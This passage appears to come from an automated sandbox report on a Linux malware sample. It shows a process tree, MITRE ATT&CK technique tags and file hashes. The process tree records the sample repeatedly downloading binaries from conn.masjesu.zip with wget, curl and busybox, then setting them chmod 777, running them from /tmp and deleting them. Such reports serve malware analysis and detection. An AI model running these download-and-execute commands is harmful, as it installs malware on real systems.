- /tmp/NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk
  ./NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk
  2⤵
  - Executes dropped EXE
  PID:978
- /bin/rm
  rm NBw0gxugiPYcZM6z76jDQDz9T4mD1WdrUk
  2⤵
  - System Network Configuration Discovery
  PID:979
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7jhfuaeGIIZVN6u1BotZdkxr1BpaFEiMFz
  2⤵
  PID:980
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7jhfuaeGIIZVN6u1BotZdkxr1BpaFEiMFz
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:981
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7jhfuaeGIIZVN6u1BotZdkxr1BpaFEiMFz
  2⤵
  - System Network Configuration Discovery
  PID:983
- /bin/chmod
  chmod 777 7jhfuaeGIIZVN6u1BotZdkxr1BpaFEiMFz
  2⤵
  - File and Directory Permissions Modification
  PID:984
- /tmp/7jhfuaeGIIZVN6u1BotZdkxr1BpaFEiMFz
  ./7jhfuaeGIIZVN6u1BotZdkxr1BpaFEiMFz
  2⤵
  - Executes dropped EXE
  PID:985
- /bin/rm
  rm 7jhfuaeGIIZVN6u1BotZdkxr1BpaFEiMFz
  2⤵
  PID:987
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dqPFohY8qHZncAoy7ZfEkdXKgs1jWQ0GCK
  2⤵
  - System Network Configuration Discovery
  PID:988
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dqPFohY8qHZncAoy7ZfEkdXKgs1jWQ0GCK
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:989
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dqPFohY8qHZncAoy7ZfEkdXKgs1jWQ0GCK
  2⤵
  - System Network Configuration Discovery
  PID:991
- /bin/chmod
  chmod 777 dqPFohY8qHZncAoy7ZfEkdXKgs1jWQ0GCK
  2⤵
  - File and Directory Permissions Modification
  PID:992
- /tmp/dqPFohY8qHZncAoy7ZfEkdXKgs1jWQ0GCK
  ./dqPFohY8qHZncAoy7ZfEkdXKgs1jWQ0GCK
  2⤵
  - Executes dropped EXE
  PID:993
- /bin/rm
  rm dqPFohY8qHZncAoy7ZfEkdXKgs1jWQ0GCK
  2⤵
  PID:995
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/m8PFv6F70kliiI1hLDQe7esRpPkWgIDctd
  2⤵
  PID:996
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/m8PFv6F70kliiI1hLDQe7esRpPkWgIDctd
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:997
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/m8PFv6F70kliiI1hLDQe7esRpPkWgIDctd
  2⤵
  - System Network Configuration Discovery
  PID:999
- /bin/chmod
  chmod 777 m8PFv6F70kliiI1hLDQe7esRpPkWgIDctd
  2⤵
  - File and Directory Permissions Modification
  PID:1000
- /tmp/m8PFv6F70kliiI1hLDQe7esRpPkWgIDctd
  ./m8PFv6F70kliiI1hLDQe7esRpPkWgIDctd
  2⤵
  - Executes dropped EXE
  PID:1001
- /bin/rm
  rm m8PFv6F70kliiI1hLDQe7esRpPkWgIDctd
  2⤵
  PID:1002
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/uqxGfmgghyeS0N4QmCNcLmxDXxh1kXZIKk
  2⤵
  - System Network Configuration Discovery
  PID:1003
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/uqxGfmgghyeS0N4QmCNcLmxDXxh1kXZIKk
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1004
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/uqxGfmgghyeS0N4QmCNcLmxDXxh1kXZIKk
  2⤵
  - System Network Configuration Discovery
  PID:1006
- /bin/chmod
  chmod 777 uqxGfmgghyeS0N4QmCNcLmxDXxh1kXZIKk
  2⤵
  - File and Directory Permissions Modification
  PID:1007
- /tmp/uqxGfmgghyeS0N4QmCNcLmxDXxh1kXZIKk
  ./uqxGfmgghyeS0N4QmCNcLmxDXxh1kXZIKk
  2⤵
  - Executes dropped EXE
  PID:1008
- /bin/rm
  rm uqxGfmgghyeS0N4QmCNcLmxDXxh1kXZIKk
  2⤵
  PID:1009
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/phnJhtHRtHNMM1OSsAPpvVt1sAPWyABx7v
  2⤵
  - System Network Configuration Discovery
  PID:1010
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/phnJhtHRtHNMM1OSsAPpvVt1sAPWyABx7v
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1011
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/phnJhtHRtHNMM1OSsAPpvVt1sAPWyABx7v
  2⤵
  PID:1013
- /bin/chmod
  chmod 777 phnJhtHRtHNMM1OSsAPpvVt1sAPWyABx7v
  2⤵
  - File and Directory Permissions Modification
  PID:1014
- /tmp/phnJhtHRtHNMM1OSsAPpvVt1sAPWyABx7v
  ./phnJhtHRtHNMM1OSsAPpvVt1sAPWyABx7v
  2⤵
  - Executes dropped EXE
  PID:1015
- /bin/rm
  rm phnJhtHRtHNMM1OSsAPpvVt1sAPWyABx7v
  2⤵
  PID:1016
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/EvWlLIIxkWvPxaurxw5MbD79dQtZJwstea
  2⤵
  - System Network Configuration Discovery
  PID:1017
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/EvWlLIIxkWvPxaurxw5MbD79dQtZJwstea
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1018
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/EvWlLIIxkWvPxaurxw5MbD79dQtZJwstea
  2⤵
  - System Network Configuration Discovery
  PID:1020
- /bin/chmod
  chmod 777 EvWlLIIxkWvPxaurxw5MbD79dQtZJwstea
  2⤵
  - File and Directory Permissions Modification
  PID:1021
- /tmp/EvWlLIIxkWvPxaurxw5MbD79dQtZJwstea
  ./EvWlLIIxkWvPxaurxw5MbD79dQtZJwstea
  2⤵
  - Executes dropped EXE
  PID:1022
- /bin/rm
  rm EvWlLIIxkWvPxaurxw5MbD79dQtZJwstea
  2⤵
  PID:1023

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca

Path /tmp/e6cakyGw1xSrbfJa6d9xEnSDuB2S4Q42Ca
Size 16B
SHA256 17dcc5c5df80bfe98d30dd8eb7e0de5875d0e4560a0f23e5acb0b13ef1a1a3c5
MD5 7689ca8c5bc85cf6b78ef89323d4df6a
SHA1 a1392ec3b571b3de167f0b9a5dadab4f14a2db76
SHA512 40f543b232d42b9b7796382c15de33e682111685ad7ae87be455d0d8d3e48866dfc137f4555b8bc6bf03ac5dde233c8f20e8c4f220c05c71892de0ce14691471
MD5 SHA1 SHA512

Submit Download

zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb

Path /tmp/zkfdXc6f8UZdGkk5GMAjPRDURVFk8sCEUb
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512